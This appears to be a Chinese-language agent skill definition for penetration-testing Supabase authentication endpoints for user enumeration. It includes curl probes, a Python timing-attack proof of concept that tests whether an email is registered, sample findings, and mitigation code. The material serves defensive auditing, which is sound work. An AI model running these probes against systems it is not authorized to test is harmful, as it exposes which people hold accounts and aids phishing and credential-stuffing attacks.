Supabase认证用户枚举审计Skill supabase-audit-auth-users

此技能用于审计Supabase身份认证系统中的用户枚举漏洞,通过测试登录、注册、密码恢复和OTP端点,检测是否存在信息泄露风险,帮助提高应用安全性,适用于网络安全审计、渗透测试和身份认证安全评估。关键词包括:Supabase、用户枚举、身份认证、安全审计、漏洞检测、网络安全、渗透测试、信息泄露。

安全审计 0 次安装 0 次浏览 更新于 3/18/2026

名称: supabase-audit-auth-users 描述: 通过多种身份认证端点测试用户枚举漏洞。

用户枚举审计

🔴 关键: 需要渐进式文件更新

您必须在执行过程中写入上下文文件,而不是仅在结束时。

  • 测试每个端点后立即写入.sb-pentest-context.json
  • 每次测试前后记录到.sb-pentest-audit.log
  • 不要等待技能完成再更新文件
  • 如果技能崩溃或中断,所有先前发现必须已保存

这是强制性的。渐进式更新失败是关键错误。

此技能测试身份认证流程中的用户枚举漏洞。

何时使用此技能

  • 检查是否可以检测用户存在
  • 测试登录、注册和恢复流程的信息泄露
  • 作为身份认证安全审计的一部分
  • 生产部署前

先决条件

  • Supabase URL和匿名密钥可用
  • 身份认证端点可访问

什么是用户枚举?

用户枚举指应用程序通过以下方式揭示用户账户是否存在:

向量 指示器
不同的错误消息 “用户未找到” vs “密码错误”
响应时间 非存在用户快,存在用户慢
响应代码 404 vs 401
注册响应 “电子邮件已注册”

为何重要

风险 影响
定向攻击 攻击者知道有效账户
钓鱼 确认目标有账户
凭据填充 减少攻击范围
隐私 揭示用户存在

执行的测试

端点 测试方法
/auth/v1/signup 尝试注册现有电子邮件
/auth/v1/token 尝试使用各种电子邮件登录
/auth/v1/recover 尝试密码重置
/auth/v1/otp 尝试各种电子邮件的OTP

用法

基本枚举测试

测试用户枚举漏洞

测试特定端点

测试登录端点的用户枚举

输出格式

═══════════════════════════════════════════════════════════
 用户枚举审计
═══════════════════════════════════════════════════════════

 项目: abc123def.supabase.co

 ─────────────────────────────────────────────────────────
 注册端点 (/auth/v1/signup)
 ─────────────────────────────────────────────────────────

 测试: POST与已知现有电子邮件
 现有响应: "用户已注册"
 新电子邮件响应: 返回用户对象

 状态: 🟠 P2 - 可枚举

 响应清晰指示电子邮件是否注册。

 利用:
 ```bash
 curl -X POST https://abc123def.supabase.co/auth/v1/signup \
   -H "apikey: [匿名密钥]" \
   -H "Content-Type: application/json" \
   -d '{"email": "target@example.com", "password": "test123"}'

 # 如果用户存在: {"msg": "用户已注册"}
 # 如果新用户: 用户创建或需要确认

───────────────────────────────────────────────────────── 登录端点 (/auth/v1/token) ─────────────────────────────────────────────────────────

测试: POST不同电子邮件场景

现有电子邮件,错误密码: ├── 响应: {“error”: “无效登录凭据”} ├── 时间: 245ms └── 代码: 400

非存在电子邮件: ├── 响应: {“error”: “无效登录凭据”} ├── 时间: 52ms ← 显著更快! └── 代码: 400

状态: 🟠 P2 - 通过时间可枚举

尽管错误消息相同,但响应时间明显不同: ├── 现有用户: ~200-300ms (密码哈希) └── 非存在用户: ~50-100ms (无哈希检查)

时间攻击PoC:

import requests
import time

def check_user(email):
    start = time.time()
    requests.post(
        'https://abc123def.supabase.co/auth/v1/token',
        params={'grant_type': 'password'},
        json={'email': email, 'password': 'wrong'},
        headers={'apikey': '[匿名密钥]'}
    )
    elapsed = time.time() - start
    return elapsed > 0.15  # 阈值

exists = check_user('target@example.com')

───────────────────────────────────────────────────────── 密码恢复 (/auth/v1/recover) ─────────────────────────────────────────────────────────

测试: POST恢复请求不同电子邮件

现有电子邮件: ├── 响应: {“message”: “密码恢复邮件已发送”} ├── 时间: 1250ms (实际发送邮件) └── 代码: 200

非存在电子邮件: ├── 响应: {“message”: “密码恢复邮件已发送”} ├── 时间: 85ms ← 更快 (未发送邮件) └── 代码: 200

状态: 🟠 P2 - 通过时间可枚举

相同消息,但时间揭示存在。 现有用户触发实际邮件发送 (~1s+)。

───────────────────────────────────────────────────────── 魔法链接 / OTP (/auth/v1/otp) ─────────────────────────────────────────────────────────

测试: 请求OTP不同电子邮件

现有电子邮件: ├── 响应: {“message”: “OTP已发送”} ├── 时间: 1180ms └── 代码: 200

非存在电子邮件: ├── 响应: {“error”: “用户未找到”} ├── 时间: 95ms └── 代码: 400

状态: 🔴 P1 - 直接可枚举

错误消息明确说明用户不存在。

───────────────────────────────────────────────────────── 总结 ─────────────────────────────────────────────────────────

测试端点: 4 可枚举: 4 (100%)

漏洞严重性: ├── 🔴 P1: OTP端点 (明确消息) ├── 🟠 P2: 注册端点 (明确消息) ├── 🟠 P2: 登录端点 (时间攻击) └── 🟠 P2: 恢复端点 (时间攻击)

整体用户枚举风险: 高

攻击者可以确定任何电子邮件地址在您应用中是否有账户。

───────────────────────────────────────────────────────── 缓解建议 ─────────────────────────────────────────────────────────

  1. 一致响应 返回所有场景相同消息: “如果账户存在,您将收到电子邮件”

  2. 一致时间 添加人工延迟以标准化响应时间:

    const MIN_RESPONSE_TIME = 1000; // 1秒
    const start = Date.now();
    // ... 执行身份认证操作 ...
    const elapsed = Date.now() - start;
    await new Promise(r => setTimeout(r,
      Math.max(0, MIN_RESPONSE_TIME - elapsed)
    ));
    return response;
    
  3. 速率限制 已启用: 每小时每IP 3次 考虑每电子邮件速率限制。

  4. CAPTCHA 添加CAPTCHA用于重复尝试:

    • 3次登录失败后
    • 密码恢复时
    • 注册时
  5. 监控 警报枚举模式:

    • 许多不同电子邮件的请求
    • 顺序电子邮件模式 (user1@, user2@, …)

═══════════════════════════════════════════════════════════


## 时间分析

此技能测量响应时间以检测基于时间的枚举:

现有用户: ├── 密码哈希验证: ~200-300ms ├── 邮件发送: ~1000-2000ms └── 数据库查找: ~5-20ms

非存在用户: ├── 无哈希验证: 0ms ├── 无邮件发送: 0ms └── 数据库查找: ~5-20ms (未找到)


阈值检测:
- 差异 > 100ms: 可能时间泄露
- 差异 > 500ms: 确定时间泄露

## 上下文输出

```json
{
  "user_enumeration": {
    "timestamp": "2025-01-31T13:30:00Z",
    "endpoints_tested": 4,
    "vulnerabilities": [
      {
        "endpoint": "/auth/v1/otp",
        "severity": "P1",
        "type": "explicit_message",
        "existing_response": "OTP sent",
        "missing_response": "User not found"
      },
      {
        "endpoint": "/auth/v1/signup",
        "severity": "P2",
        "type": "explicit_message",
        "existing_response": "User already registered",
        "missing_response": "User created"
      },
      {
        "endpoint": "/auth/v1/token",
        "severity": "P2",
        "type": "timing_attack",
        "existing_time_ms": 245,
        "missing_time_ms": 52
      },
      {
        "endpoint": "/auth/v1/recover",
        "severity": "P2",
        "type": "timing_attack",
        "existing_time_ms": 1250,
        "missing_time_ms": 85
      }
    ]
  }
}

缓解代码示例

一致响应时间

// 边缘函数与标准化时间
const MIN_RESPONSE_TIME = 1500; // 1.5秒

Deno.serve(async (req) => {
  const start = Date.now();

  try {
    // 执行实际身份认证操作
    const result = await handleAuth(req);

    // 标准化响应时间
    const elapsed = Date.now() - start;
    await new Promise(r => setTimeout(r,
      Math.max(0, MIN_RESPONSE_TIME - elapsed)
    ));

    return new Response(JSON.stringify(result));
  } catch (error) {
    // 错误的相同时间
    const elapsed = Date.now() - start;
    await new Promise(r => setTimeout(r,
      Math.max(0, MIN_RESPONSE_TIME - elapsed)
    ));

    // 通用错误消息
    return new Response(JSON.stringify({
      message: "如果有账户,请检查您的电子邮件"
    }));
  }
});

通用错误消息

// 不要揭示用户存在
async function requestPasswordReset(email: string) {
  // 始终返回成功消息
  const response = {
    message: "如果该电子邮件有账户,您将收到密码重置链接。"
  };

  // 后台执行实际重置 (不等待)
  supabase.auth.resetPasswordForEmail(email).catch(() => {});

  return response;
}

强制: 渐进式上下文文件更新

⚠️ 此技能必须在执行过程中渐进式更新跟踪文件,而不仅在结束时。

关键规则: 在执行过程中写入

不要在结束时批量所有写入。相反:

  1. 测试每个端点前 → 记录操作到.sb-pentest-audit.log
  2. 每次时间测量后 → 立即更新.sb-pentest-context.json
  3. 每次枚举向量发现后 → 立即记录发现

这确保如果技能中断、崩溃或超时,所有发现点之前都已保存。

所需操作 (渐进式)

  1. 更新.sb-pentest-context.json 与结果:

    {
      "user_enumeration": {
        "timestamp": "...",
        "endpoints_tested": 4,
        "vulnerabilities": [ ... ]
      }
    }
    
  2. 记录到.sb-pentest-audit.log:

    [时间戳] [supabase-audit-auth-users] [开始] 测试用户枚举
    [时间戳] [supabase-audit-auth-users] [发现] P1: OTP端点可枚举
    [时间戳] [supabase-audit-auth-users] [上下文更新] .sb-pentest-context.json更新
    
  3. 如果文件不存在, 写入前创建它们。

更新上下文文件失败不可接受。

强制: 证据收集

📁 证据目录: .sb-pentest-evidence/05-auth-audit/enumeration-tests/

创建的证据文件

文件 内容
enumeration-tests/login-timing.json 登录端点时间分析
enumeration-tests/recovery-timing.json 恢复端点时间
enumeration-tests/otp-enumeration.json OTP端点消息分析

证据格式

{
  "evidence_id": "AUTH-ENUM-001",
  "timestamp": "2025-01-31T11:00:00Z",
  "category": "auth-audit",
  "type": "user_enumeration",

  "tests": [
    {
      "endpoint": "/auth/v1/token",
      "test_type": "timing_attack",
      "severity": "P2",

      "existing_user_test": {
        "email": "[已知存在]@example.com",
        "response_time_ms": 245,
        "response": {"error": "Invalid login credentials"}
      },

      "nonexisting_user_test": {
        "email": "definitely-not-exists@example.com",
        "response_time_ms": 52,
        "response": {"error": "Invalid login credentials"}
      },

      "timing_difference_ms": 193,
      "result": "ENUMERABLE",
      "impact": "可以通过时间确定电子邮件是否有账户"
    },
    {
      "endpoint": "/auth/v1/otp",
      "test_type": "explicit_message",
      "severity": "P1",

      "existing_user_response": {"message": "OTP sent"},
      "nonexisting_user_response": {"error": "User not found"},

      "result": "ENUMERABLE",
      "impact": "错误消息明确揭示用户存在"
    }
  ],

  "curl_commands": [
    "# 时间测试 - 现有用户
time curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"existing@example.com\", \"password\": \"wrong\"}'",
    "# 时间测试 - 非存在用户
time curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"nonexistent@example.com\", \"password\": \"wrong\"}'"
  ]
}

相关技能

  • supabase-audit-auth-config — 完整身份认证配置
  • supabase-audit-auth-signup — 注册流程测试
  • supabase-report — 包含在最终报告中